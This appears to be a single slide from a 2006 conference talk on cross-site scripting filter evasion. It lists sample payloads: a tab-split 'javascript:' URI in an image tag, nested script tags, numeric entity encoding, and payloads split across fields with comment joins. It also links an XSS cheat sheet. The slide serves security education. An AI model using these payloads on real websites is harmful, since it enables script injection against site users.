Penguicon 2006

Attack Alert :: XSS Evasion

Attack Alert :: XSS Evasion

• Attacker input filtering evasion:
• No whitespace
• 1. <img src="java&#09;script:alert('vulnerable');">
• Blacklist script tags
• 1. <scr<script>ipt>
• Using alternate character encodings
• 1. &#0000110&#0000048&#0000112...
• Maxsize limits in fields
• • Chop exploit and join via /* */

• XSS cheatsheet
• • http://ha.ckers.org/xss.html (local mirror)